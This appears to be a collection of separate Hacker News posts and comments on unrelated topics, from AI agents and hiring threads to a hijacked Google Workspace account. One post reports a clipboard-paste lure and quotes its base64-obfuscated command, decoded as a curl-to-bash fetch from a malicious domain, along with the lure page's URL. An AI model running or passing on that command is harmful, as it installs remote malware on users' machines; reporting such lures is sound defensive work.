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When I hear or see that people feed the specs, let agents handle things and then do some quick tests to make sure things work as expected, that sounds way too risky. I still have bad experiences where the agents made bad assumptions and included things I didn't need or ask for or had to stop the agent during implementation because it was going down a path that was needlessly complicated.

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I like programming for fun, but most of my projects don’t do anything useful for anyone or make the world a better place even in a small amount.

It would be cool if something I did fit fun did, though. If I could look at something and feel like I helped someone in some way.

The problem is I’m currently not really sure what a project like that would look like…

Dk you have a project like that or have any ideas?

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So why would an older person who doesn't drive wear multifocal lenses?

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One thing that surprised me is that building AI products seems to be getting easier, while getting discovered is getting harder.

Every week, new tools launch for writing, coding, design, research, video, and automation. Yet most users end up using the same handful of products because discovering alternatives is difficult.

I've noticed that users often search for solutions to problems rather than specific products. They want to "transcribe meetings" or "generate presentations" rather than find a particular tool.

For founders building AI products:

How are you solving the discovery problem?

What's driving the most meaningful users for you today—SEO, communities, social media, partnerships, directories, or something else?

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Anyway, I sent over my CV figuring it couldn't hurt, and got an invitation for an initial talk.

First weird thing: too many available slots, too far away. Like, two weeks in the future, but from 9:00-23:00 all free slots. So I picked one. Day comes and I miss it, and I get another one a few weeks later. One hour before the meeting, I get a message that the guy is on holiday, moved by another two weeks, to a time that is not convenient for me. Moved by another week. Few minutes before the meeting, moved by another week. I've only texted a guy on linkedin. Nobody ever phoned me. Weird. Seems fake - but why, what's the goal here, what was this good for? Should I be worried?

(PS I have job now, that I'm really happy with, so all good. I'm just curious...)

Comments URL: https://news.ycombinator.com/item?id=48361020

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Noticed AI agents like to create maaaaasive files when building, so started to build an MCP to mitigate, anyway, ended up with something called a tarball

Anywaay, inspired by Matt Pocock’s grill me skill, enjoy

https://github.com/tonycdr-prog/architect-mcp

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Here is my developed protocol:

1. Oral Zyrtec or Claratin, switch which one is taken every 6 wks to avoid building a resistance to the specific antihistimine!

2. Saline nasal rinse (bottled from store or from home-boiled water and salt)

3. Corticosteroid nasal spray. Applied so that it is not shot directly up nose, pointed away from the bridge of the nose. Allow 5-10min for it to absorb, do not blow nose just after.

4. Mineral sunscreen, for moisturizing/uv protection and also it helps to keep pollen out of the eyes.

https://www.iqair.com/as/pollen/usa/california/berkeley

Comments URL: https://news.ycombinator.com/item?id=48358758

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I will consider it as sabotaging since someone definitely competitive enough to block my ShowHN post. That's why moderators are needed and tooling for moderators.

https://news.ycombinator.com/item?id=48357884

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No updates posted on owner's blog: https://lj.rossia.org/users/archive_today/

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1. There's plenty of good open TTS models for EU languages: Fish, CosyVoice, Voxtral

2. KugelAudio claims to beat ElevenLabs, but so do Chatterbox-Turbo and Fish Audio S2 Pro.

3. Their 39ms latency is not a strong technical differentiator from Fish at 100ms.

=> It's a deployment business on top of a commodity model. In my opinion, there is no technical moat to defend them from competition.

Their angle is EU sovereignty, which I very much like, but I don't see how their API (where you need to trust them) could be better at sovereignty than an open model which can run air-gapped with no trust needed. But I mean YC is in the VC business so there must be some angle how KugelAudio could 100x their current valuation. Otherwise, they wouldn't be attractive to VC money.

Does anyone know what KugelAudio's unique angle is?

Comments URL: https://news.ycombinator.com/item?id=48358446

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Please only post if you are looking to hire a freelancer or work as one. Small (2-5 person) agencies are fine, but recruiters, job boards, and so on, are off topic here.

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It seems like there are quite a few email providers on the market, but I'm not sure whether my project would meet their requirements.

What would you recommend as a cheap and reliable(good deliverability) provider for transactional emails? What email providers do you use for pet projects?

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1. press command space

2. type in Terminal and enter

3. type in cmd V and enter

Wait a minute, I don't remember copying anything.... I pasted into a slack chat and this popped up.

`bash <<< $(echo "Y3VybCAtcyAnaHR0cHM6Ly9ydW50aW1lLWZvdW5kcnkuZGlnaXRhbC9zY3JpcHQuc2gnIHwgYmFzaA==" | base64 -d)`

descrypting the string turns it in to `curl -s 'https://runtime-foundry.digital/script.sh' | bash`

This is the offending website.

https://secure-access-31f.pages.dev/?vc=7b853dfa42a14cb5b124029e98c46454&ts=1780325659009&rn=755411

I don't remember how I came upon it. I was doing a search on google and simply cmd clicked every single result. It was probably one of those.

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Please only post if you personally are part of the hiring company—no recruiting firms or job boards. One post per company. If it isn't a household name, explain what your company does.

Please only post if you are actively filling a position and are committed to replying to applicants.

Commenters: please don't reply to job posts to complain about something. It's off topic here.

Readers: please only email if you are personally interested in the job.

Searchers: try https://nthesis.ai/public/hn-who-is-hiring, https://dheerajck.github.io/hnwhoishiring/, http://nchelluri.github.io/hnjobs/, https://hnjobs.emilburzo.com, or this (unofficial) Chrome extension: https://chromewebstore.google.com/detail/hn-hiring-pro/mpfal....

Don't miss this other fine thread: Who wants to be hired? https://news.ycombinator.com/item?id=48357724

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  Location:
  Remote:
  Willing to relocate:
  Technologies:
  Résumé/CV:
  Email:

Readers: please only email these addresses to discuss work opportunities.

Searchers: try https://nthesis.ai/public/hn-wants-to-be-hired, https://www.wantstobehired.com.

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Sometime between last night and this morning (US Eastern time) all the accounts in their free non-profit Google Workspace tenant (including the dedicated "admin@..." account used only for administration) began entering a "This account was recently deleted and may be recoverable. Click Next to attempt to restore this account." workflow. The "Next" page in that workflow says "Contact your domain admin for help. Learn more". The "Learn More" link takes them to a support link talking about finding out who your Administrator is and a link to a page to reset the Workspace administrator password, which just follows this same flow.

I don't use Google products personally. I have absolutely no idea where to recommend they go. I'm not finding any way to contact a human at Google in the cursory searches I've done. I keep getting funneled back to recovery workflow that ends up right back in the flow I described above.

They're reasonably freaked-out because they have no backup / offline copies of their decade-plus use of the data they've stored in the Google Workspace product. They're also reeling from the lack of access to their email.

I feel terrible for them. The best I think I can do is write this tug-at-heartstrings post and hope a kind hearted Googler / Google-adjacent person might give me some pointers.

I haven't broached the subject of moving the MX for the domain to a different service to restore email access. That's probably the next step if this can't be resolved quickly.

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UPDATE: As people get in to their office this morning I am learning more.

One of their users was able to see a Google Workspace notification telling them "The primary admin for your organization was changed from oldadmin@domain.org to ssadmin@domain.org" this morning at 00:01 UTC.

I'm feeling like an unauthorized party may have taken control of their tenant.

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UPDATE 2: They've initiated a request thru https://toolbox.googleapps.com/apps/recovery/form using the "new" admin account. That workflow directed them to add a CNAME to their DNS to prove domain ownership. Fortunately the person who handles their domain is an actual human small business owner who they cal talk to. Perhaps there's a light somewhere at the end of this tunnel.

I don't know anything about the password or MFA configured on their original admin account. Adjunct to all of this it would be interesting to know what happened and if some kind of security incident (likely of the end user org's own making, sadly) kicked off this whole thing.

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Aside: Does the "Google Takeout" product work with the Workspace product? When they eventually do get access back to their data I'm advising them to make backup copies of everything they can regularly.

Interestingly the admin said she'd been thinking about that in the last couple of months ("...making a copy of everything to a USB drive..." she said), but whatever workflow is exposed to "normies" for that is apparently unfriendly because she said it "told her she'd have to save each document as a Word or Excel file".

She's not technical but I'm also willing to bet the "set yourself up to migrate away from our platform" workflow in the Workspace product isn't particularly streamlined either.

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